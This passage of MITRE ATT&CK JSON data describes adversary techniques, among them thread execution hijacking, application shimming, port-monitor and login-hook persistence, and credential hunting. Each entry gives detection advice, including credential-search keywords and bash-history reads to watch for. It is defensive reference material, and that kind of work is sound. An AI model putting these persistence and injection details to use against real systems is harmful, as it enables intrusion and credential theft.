                    "source_name": "PyPI RAR",
                    "description": "mkz. (2020). rarfile 3.1. Retrieved February 20, 2020.",
                    "url": "https://pypi.org/project/rarfile/"
                },
                {
                    "source_name": "Wikipedia File Header Signatures",
                    "description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.",
                    "url": "https://en.wikipedia.org/wiki/List_of_file_signatures"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T21:51:09.003Z",
            "name": "Archive via Library",
            "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). Most libraries include functionality to encrypt and/or compress data.\n\nSome archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.",
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                    "phase_name": "collection"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor processes for accesses to known archival libraries. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\n\nConsider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Script: Script Execution",
                "File: File Creation"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6",
            "created": "2020-01-14T01:28:32.166Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1055/003",
                    "external_id": "T1055.003"
                },
                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-25T14:46:28.558Z",
            "name": "Thread Execution Hijacking",
            "description": "Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nThread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>. At this point the process can be suspended then written to, realigned to the injected code, and resumed via <code>SuspendThread </code>, <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>, then <code>ResumeThread</code> respectively.(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state.  \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>, and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Process: Process Modification",
                "Process: Process Access"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e",
            "created": "2017-05-31T21:31:01.315Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1079",
                    "external_id": "T1079"
                },
                {
                    "source_name": "SANS Decrypting SSL",
                    "description": "Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.",
                    "url": "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840"
                },
                {
                    "source_name": "SEI SSL Inspection Risks",
                    "description": "Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.",
                    "url": "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html"
                },
                {
                    "source_name": "Fidelis DarkComet",
                    "description": "Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016.",
                    "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:26.824Z",
            "name": "Multilayer Encryption",
            "description": "An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "If malware uses [Standard Cryptographic Protocol](https://attack.mitre.org/techniques/T1032), SSL/TLS inspection can be used to detect command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks) After SSL/TLS inspection, additional cryptographic analysis may be needed to analyze the second layer of encryption.\n\nWith [Custom Cryptographic Protocol](https://attack.mitre.org/techniques/T1024), if malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0",
            "created": "2017-05-31T21:30:38.511Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1036",
                    "external_id": "T1036"
                },
                {
                    "source_name": "Twitter ItsReallyNick Masquerading Update",
                    "description": "Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved September 12, 2024.",
                    "url": "https://x.com/ItsReallyNick/status/1055321652777619457"
                },
                {
                    "source_name": "Elastic Masquerade Ball",
                    "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.",
                    "url": "https://www.elastic.co/blog/how-hunt-masquerade-ball"
                },
                {
                    "source_name": "LOLBAS Main Site",
                    "description": "LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020.",
                    "url": "https://lolbas-project.github.io/"
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            "modified": "2025-04-15T19:58:26.186Z",
            "name": "Masquerading",
            "description": "Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.\n\nRenaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
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            "x_mitre_contributors": [
                "Oleg Kolesnikov, Securonix",
                "Nick Carr, Mandiant",
                "David Lu, Tripwire",
                "Felipe Esp\u00f3sito, @Pr0teus",
                "Elastic",
                "Bartosz Jerzman",
                "Menachem Goldstein"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\n\nLook for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters\"\\u202E\", \"[U+202E]\", and \"%E2%80%AE\u201d.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Containers",
                "ESXi"
            ],
            "x_mitre_version": "1.8",
            "x_mitre_data_sources": [
                "File: File Modification",
                "Process: Process Metadata",
                "Service: Service Creation",
                "Service: Service Metadata",
                "Process: Process Creation",
                "Image: Image Metadata",
                "Scheduled Job: Scheduled Job Metadata",
                "User Account: User Account Creation",
                "File: File Metadata",
                "Scheduled Job: Scheduled Job Modification",
                "Command: Command Execution",
                "Process: OS API Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83",
            "created": "2020-01-24T14:56:24.231Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1546/011",
                    "external_id": "T1546.011"
                },
                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                },
                {
                    "source_name": "FireEye Application Shimming",
                    "description": "Ballenthin, W., Tomczak, J.. (2015). The Real Shim Shary. Retrieved May 4, 2020.",
                    "url": "http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf"
                },
                {
                    "source_name": "Black Hat 2015 App Shim",
                    "description": "Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.",
                    "url": "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-25T14:46:29.459Z",
            "name": "Application Shimming",
            "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)\n\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* <code>%WINDIR%\\AppPatch\\sysmain.sdb</code> and\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb</code>\n\nCustom databases are stored in:\n\n* <code>%WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom</code> and\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom</code>\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\n\nUtilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n\n* Shim-Process-Scanner - checks memory of every running process for any shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "File: File Modification",
                "Module: Module Load",
                "Windows Registry: Windows Registry Key Modification",
                "Command: Command Execution",
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517",
            "created": "2020-02-04T12:47:23.631Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1552",
                    "external_id": "T1552"
                },
                {
                    "source_name": "Brining MimiKatz to Unix",
                    "description": "Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.",
                    "url": "https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf"
                }
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            ],
            "modified": "2025-04-15T19:58:26.362Z",
            "name": "Unsecured Credentials",
            "description": "Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)),  or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).(Citation: Brining MimiKatz to Unix)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Austin Clark, @c2defense"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "While detecting adversaries accessing credentials may be difficult without knowing they exist in the environment, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.\n\nMonitor for suspicious file access activity, specifically indications that a process is reading multiple files in a short amount of time and/or using command-line arguments  indicative of searching for credential material (ex: regex patterns). These may be indicators of automated/scripted credential access behavior.\n\nMonitoring when the user's <code>.bash_history</code> is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like <code>cat ~/.bash_history</code>.\n\nAdditionally, monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "SaaS",
                "IaaS",
                "Linux",
                "macOS",
                "Containers",
                "Network Devices",
                "Office Suite",
                "Identity Provider"
            ],
            "x_mitre_version": "1.5",
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Access",
                "Application Log: Application Log Content",
                "Command: Command Execution",
                "Process: Process Creation",
                "File: File Access",
                "User Account: User Account Authentication"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe",
            "created": "2020-01-24T19:46:27.750Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1547/010",
                    "external_id": "T1547.010"
                },
                {
                    "source_name": "Bloxham",
                    "description": "Bloxham, B. (n.d.). Getting Windows to Play with Itself &#91;PowerPoint slides&#93;. Retrieved November 12, 2014.",
                    "url": "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf"
                },
                {
                    "source_name": "AddMonitor",
                    "description": "Microsoft. (n.d.). AddMonitor function. Retrieved September 12, 2024.",
                    "url": "https://learn.microsoft.com/en-us/windows/win32/printdocs/addmonitor"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:26.452Z",
            "name": "Port Monitors",
            "description": "Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the <code>AddMonitor</code> API call to set a DLL to be loaded at startup.(Citation: AddMonitor) This DLL can be located in <code>C:\\Windows\\System32</code> and will be loaded and run by the print spooler service, `spoolsv.exe`, under SYSTEM level permissions on boot.(Citation: Bloxham) \n\nAlternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to the `Driver` value of an existing or new arbitrarily named subkey of <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>. The Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Stefan Kanthak",
                "Travis Smith, Tripwire",
                "Harun K\u00fc\u00dfner"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor process API calls to <code>AddMonitor</code>.(Citation: AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious. \n\nMonitor Registry writes to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>, paying particular attention to changes in the \"Driver\" subkey. Run the Autoruns utility, which checks for this Registry key as a persistence mechanism.(Citation: TechNet Autoruns)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Modification",
                "File: File Creation",
                "Module: Module Load",
                "Process: OS API Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--438c967d-3996-4870-bfc2-3954752a1927",
            "created": "2022-07-08T21:04:03.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1070/008",
                    "external_id": "T1070.008"
                },
                {
                    "source_name": "Volexity SolarWinds",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"
                },
                {
                    "source_name": "Cybereason Cobalt Kitty 2017",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"
                },
                {
                    "source_name": "mailx man page",
                    "description": "Michael Kerrisk. (2021, August 27). mailx(1p) \u2014 Linux manual page. Retrieved June 10, 2022.",
                    "url": "https://man7.org/linux/man-pages/man1/mailx.1p.html"
                },
                {
                    "source_name": "ExchangePowerShell Module",
                    "description": "Microsoft. (2017, September 25). ExchangePowerShell. Retrieved June 10, 2022.",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/?view=exchange-ps#mailboxes"
                },
                {
                    "source_name": "Microsoft OAuth Spam 2022",
                    "description": "Microsoft. (2023, September 22). Malicious OAuth applications abuse cloud email services to spread spam. Retrieved March 13, 2023.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T21:56:59.810Z",
            "name": "Clear Mailbox Data",
            "description": "Adversaries may modify mail and mail application data to remove evidence of their activity. Email applications allow users and other programs to export and delete mailbox data via command line tools or use of APIs. Mail application data can be emails, email metadata, or logs generated by the application or operating system, such as export requests. \n\nAdversaries may manipulate emails and mailbox data to remove logs, artifacts, and metadata, such as evidence of [Phishing](https://attack.mitre.org/techniques/T1566)/[Internal Spearphishing](https://attack.mitre.org/techniques/T1534), [Email Collection](https://attack.mitre.org/techniques/T1114), [Mail Protocols](https://attack.mitre.org/techniques/T1071/003) for command and control, or email-based exfiltration such as [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). For example, to remove evidence on Exchange servers adversaries have used the <code>ExchangePowerShell</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) module, including <code>Remove-MailboxExportRequest</code> to remove evidence of mailbox exports.(Citation: Volexity SolarWinds)(Citation: ExchangePowerShell Module) On Linux and macOS, adversaries may also delete emails through a command line utility called <code>mail</code>  or use [AppleScript](https://attack.mitre.org/techniques/T1059/002) to interact with APIs on macOS.(Citation: Cybereason Cobalt Kitty 2017)(Citation: mailx man page)\n\nAdversaries may also remove emails and metadata/headers indicative of spam or suspicious activity (for example, through the use of organization-wide transport rules) to reduce the likelihood of malicious emails being detected by security products.(Citation: Microsoft OAuth Spam 2022)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Liran Ravich, CardinalOps"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Office Suite"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content",
                "File: File Deletion",
                "File: File Modification",
                "Command: Command Execution",
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--43ba2b05-cf72-4b6c-8243-03a4aba41ee0",
            "created": "2020-01-10T16:01:15.995Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1037/002",
                    "external_id": "T1037.002"
                },
                {
                    "source_name": "Login Scripts Apple Dev",
                    "description": "Apple. (2016, September 13). Customizing Login and Logout. Retrieved April 1, 2022.",
                    "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html"
                },
                {
                    "source_name": "LoginWindowScripts Apple Dev",
                    "description": "Apple. (n.d.). LoginWindowScripts. Retrieved April 1, 2022.",
                    "url": "https://developer.apple.com/documentation/devicemanagement/loginwindowscripts"
                },
                {
                    "source_name": "Wardle Persistence Chapter",
                    "description": "Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved April 13, 2022.",
                    "url": "https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf"
                },
                {
                    "source_name": "S1 macOs Persistence",
                    "description": "Stokes, P. (2019, July 17). How Malware Persists on macOS. Retrieved March 27, 2020.",
                    "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/"
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            "modified": "2025-04-15T22:46:43.054Z",
            "name": "Login Hook",
            "description": "Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the <code>/Library/Preferences/com.apple.loginwindow.plist</code> file and can be modified using the <code>defaults</code> command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev) \n\nAdversaries can add or insert a path to a malicious script in the <code>com.apple.loginwindow.plist</code> file, using the <code>LoginHook</code> or <code>LogoutHook</code> key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)\n\n**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) ",
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            "x_mitre_detection": "Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.",
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            "created": "2023-09-01T21:03:13.406Z",
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                    "url": "https://attack.mitre.org/techniques/T1659",
                    "external_id": "T1659"
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                    "source_name": "EFF China GitHub Attack",
                    "description": "Budington, B. (2015, April 2). China Uses Unencrypted Websites to Hijack Browsers in GitHub Attack. Retrieved September 1, 2023.",
                    "url": "https://www.eff.org/deeplinks/2015/04/china-uses-unencrypted-websites-to-hijack-browsers-in-github-attack"
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                    "source_name": "ESET MoustachedBouncer",
                    "description": "Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 1, 2023.",
                    "url": "https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"
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                    "source_name": "Kaspersky Encyclopedia MiTM",
                    "description": "Kaspersky IT Encyclopedia. (n.d.). Man-in-the-middle attack. Retrieved September 1, 2023.",
                    "url": "https://encyclopedia.kaspersky.com/glossary/man-in-the-middle-attack/"
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                    "source_name": "Kaspersky ManOnTheSide",
                    "description": "Starikova, A. (2023, February 14). Man-on-the-side \u2013 peculiar attack. Retrieved September 1, 2023.",
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            "id": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
